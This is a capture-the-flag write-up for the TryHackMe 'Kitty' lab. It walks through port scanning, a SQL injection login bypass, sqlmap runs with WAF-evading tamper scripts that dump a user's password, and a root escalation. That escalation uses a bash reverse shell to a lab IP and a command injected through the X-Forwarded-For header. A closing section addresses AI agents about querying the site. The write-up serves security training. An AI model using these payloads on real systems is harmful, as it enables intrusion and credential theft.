# Kitty

{% embed url="<https://tryhackme.com/room/kitty>" %}

## Recon

Let's start with a nmap scan

```
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- kitty.thm -T4                                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 00:39 EST
Nmap scan report for kitty.thm (10.10.136.7)
Host is up (0.15s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
5946/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 1106.11 seconds
```

We can see two ports open . SSH on port 22 and a HTTP server on port 80.&#x20;

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV -sC  -p 22,80 kitty.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 01:05 EST
Nmap scan report for kitty.thm (10.10.136.7)
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b0:c5:69:e6:dd:6b:81:0c:da:32:be:41:e3:5b:97:87 (RSA)
|   256 6c:65:ad:87:08:7a:3e:4c:7d:ea:3a:30:76:4d:04:16 (ECDSA)
|_  256 2d:57:1d:56:f6:56:52:29:ea:aa:da:33:b2:77:2c:9c (ED25519)

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
```

{% endcode %}

We know that we are working with PHP. Let's do some directory enumeration.

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://kitty.thm -w /usr/share/wordlists/dirb/big.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://kitty.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 274]
/.htaccess.php        (Status: 403) [Size: 274]
/.htpasswd            (Status: 403) [Size: 274]
/.htpasswd.php        (Status: 403) [Size: 274]
/config.php           (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 1081]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/register.php         (Status: 200) [Size: 1567]
/server-status        (Status: 403) [Size: 274]
/welcome.php          (Status: 302) [Size: 0] [--> index.php]
Progress: 40938 / 40940 (100.00%)
===============================================================
Finished
===============================================================
```

## Initial Access

Let's visit the website and see what we have.

<figure><img src="/files/h2cCN03rr9jqAysALAhw" alt=""><figcaption></figcaption></figure>

Some default and common paswords did not work. Let's try SQL injection.

<figure><img src="/files/m8s4mCpezBJzmM5Cjlr9" alt=""><figcaption></figcaption></figure>

we are informed that SQL Injection has been detected and logged. Maybe we can try some more injection or bypassing this check. Let's sign up for an account and see what we have.

<figure><img src="/files/wV4DfZlpMdAsI8glGO7b" alt=""><figcaption></figcaption></figure>

Let's try injection with an account created.

<figure><img src="/files/q7iyf1vvR1bLIn3iZ2cD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/YmG9x6WgFlFSTcgFR6mr" alt=""><figcaption></figcaption></figure>

It bypasses and logs us in. Let us check for how many columns the table has. We can do this by using `UNION SELECT`.

After trying few inputs `' UNION SELECT 1,2,3,4-- -` worked. Going any further would give us an invalid login error.&#x20;

We can also use SQLmap to simply this and make this process easier.&#x20;

Although with SQLmap we will have to go through quite some trial and error.&#x20;

We first started with:

```
sqlmap -u http://kitty.thm/index.php --forms
```

After soem trial and error we can find the database as MySQL so we can append `--dbms=mysql -p username` to both restrict to MySQL and just focus on the username field.&#x20;

Also `--skip-heuristic` will limit noise, since we already know this field is vulnerable (although SQLMap thinks it isn't).&#x20;

Because there is a cookie that won't change when a successful bypass happens, and which SQLmap by default takes into account, we need to ignore the set-cookie flag: `--drop-set-cookie`:

{% code overflow="wrap" %}

```
sqlmap -u http://kitty/index.php --forms --dbms=mysql -p username --skip-heuristic --drop-set-cookie
```

{% endcode %}

We know there is know injection is possible but there is no feedback given. So this is Blind injection. In this case, false cases returns a 200 code (invalid username or password) while true redirects with 302: `--code=302.` We will tell SQLMap to consider 302's as a success message.

{% code overflow="wrap" %}

```
sqlmap -u http://kitty.thm/index.php --forms --dbms=mysql -p username --skip-heuristic --drop-set-cookie --technique=B --code=302
```

{% endcode %}

In most cases most of the above wouldn't be needed except `-u` and `--forms`. But we want to limit the noise down and get quick results because the SQL Injection filter is of trial and error.  Finally after lot's of trial and error and some researching.&#x20;

> These can be specified by script name with `--tamper`. And fortunately there are three that solve the specific problems above:
>
> * `hex2char.py` replaces `0x20` with `Char(32)`
> * `ifnull2ifisnull.py` replaces `IFNULL()` with `IF(ISNULL(),)`
> * `ord2ascii.py` replaces `ORD` with `ASCII`
>
> With these three tamper scripts, specified `--tamper=ord2ascii,ifnull2ifisnull,hex2char` we can effectively avoid the WAF filter the site has.

{% code overflow="wrap" %}

```
sqlmap -u http://kitty.thm/index.php --forms --dbms=mysql -p username --code=302 --dump --tamper=ord2ascii,ifnull2ifisnull,hex2char --skip-heuristic --drop-set-cookie --flush-session
```

{% endcode %}

The above query will give us the kitty user's password, which can be used to SSH in.&#x20;

When we run SQLmap it will ask you some questions on how to proceed with the injection. Most of them will work with default, but just make sure to not follow any redirects and we need to edit the form field values to include the valid username and password created earlier.

{% hint style="info" %}

* do you want to test this form? Y
* Edit POST data \[default: username=\&password=] (Warning: blank fields detected): username=BuN\&password=Bun123
* got a 302 redirect to '<http://10.10.229.44/welcome.php>'. Do you want to follow? n
* are you sure that you want to continue with further target testing? Y
* do you want to (re)try to find proper UNION column types with fuzzy test? N
* injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? Y
* POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? N
* do you want to exploit this SQL injection? Y
  {% endhint %}

<figure><img src="/files/wHiGfGDdDdLykQ8TY2dp" alt=""><figcaption></figcaption></figure>

We can login and get our first flag.

## Privilege Escalation

Let's do some enumeration. We can use linpeas.

First setup a python server on the attack machine.&#x20;

```python
python -m http.server
```

On the kitty’s machine :

```
kitty@kitty:~$ wget [ATTACK_MACHIN_IP]:8000/linpeas.sh
.
.
kitty@kitty:~$ chmod 777 linpeas.sh
kitty@kitty:~$ ./linpeas.sh
```

After a quick enumeration (manual and linpeas), we can see a few things :

* There is other web content stored in `/var/www/development/` instead of `/var/www/html`
* There are few localhost port occupied :

```
kitty@kitty:~$ ss -tulpn
Netid  State   Recv-Q  Send-Q      Local Address:Port    Peer Address:Port
udp    UNCONN  0       0           127.0.0.53%lo:53       0.0.0.0:*
udp    UNCONN  0       0        10.10.136.7%eth0:68       0.0.0.0:*
tcp    LISTEN  0       511             127.0.0.1:8080     0.0.0.0:*
tcp    LISTEN  0       4096        127.0.0.53%lo:53       0.0.0.0:*
tcp    LISTEN  0       128               0.0.0.0:22       0.0.0.0:*
tcp    LISTEN  0       70              127.0.0.1:33060    0.0.0.0:*
tcp    LISTEN  0       151             127.0.0.1:3306     0.0.0.0:*
tcp    LISTEN  0       511                     *:80             *:*
tcp    LISTEN  0       128                  [::]:22          [::]:*
```

* The `/opt` directory isn’t empty and contains a script that belongs to `root` (**remember that**):

```
kitty@kitty:/tmp$ ls -la /opt
total 12
drwxr-xr-x  2 root root 4096 Feb 25  2023 .
drwxr-xr-x 19 root root 4096 Nov  8  2022 ..
-rw-r--r--  1 root root  152 Feb 25  2023 log_checker.sh
kitty@kitty:/tmp$ cat /opt/log_checker.sh
#!/bin/sh
while read ip;
do
  /usr/bin/sh -c "echo $ip >> /root/logged";
done < /var/www/development/logged
cat /dev/null > /var/www/development/logged
```

This script `log_checker.sh` is owned by root.

Checking the source code of the development server at `/var/www/development`, it is similar to the first webserver, with the only difference being the logging of SQL injection attempts on `/index.php`.

If it detects a SQL injection attempt, it writes the value of the `X-Forwarded-For` header in the request to the `/var/www/development/logged`.

Sending a request with the header mentioned and a payload that will trigger this logging using `curl`.

{% code overflow="wrap" %}

```
kitty@kitty:/var/www/development$ curl -s 'http://127.0.0.1:8080/index.php' -X POST -d 'username=sleep&password=password' -H 'X-Forwarded-For: test'

SQL Injection detected. This incident will be logged!
kitty@kitty:/var/www/development$ cat logged
test
```

{% endcode %}

The script `log_checker.sh` reads the `/var/www/development/logged` line by line and calls `/usr/bin/sh -c "echo $ip >> /root/logged"` for every line, with the read line being the `$ip` parameter, and after that, it clears the `/var/www/development/logged` file.

Since we are able to control what is written to the `/var/www/development/logged` file with the `X-Forwarded-For` header, we can control the `$ip` parameter and inject commands.

Creating a reverse shell at `/tmp/test`and making it executable.

{% code title="test" lineNumbers="true" %}

```bash
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.11.63.57/443 0>&1"
```

{% endcode %}

Starting our listener.

Sending our command injection payload: `;/tmp/test #`

* `;` to escape the echo command.
* `/tmp/test`: command we want to inject.
* `#`: to comment out the rest of the command.

{% code overflow="wrap" %}

```
kitty@kitty:/var/www/development$ curl -s 'http://127.0.0.1:8080/index.php' -X POST -d 'username=sleep&password=password' -H 'X-Forwarded-For: ;/tmp/test #'

SQL Injection detected. This incident will be logged!
```

{% endcode %}

On our listener, we receive a shell as root and can read the root flag.

<figure><img src="/files/BD0uoVnVOd3aTGbqHdxo" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/kitty.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
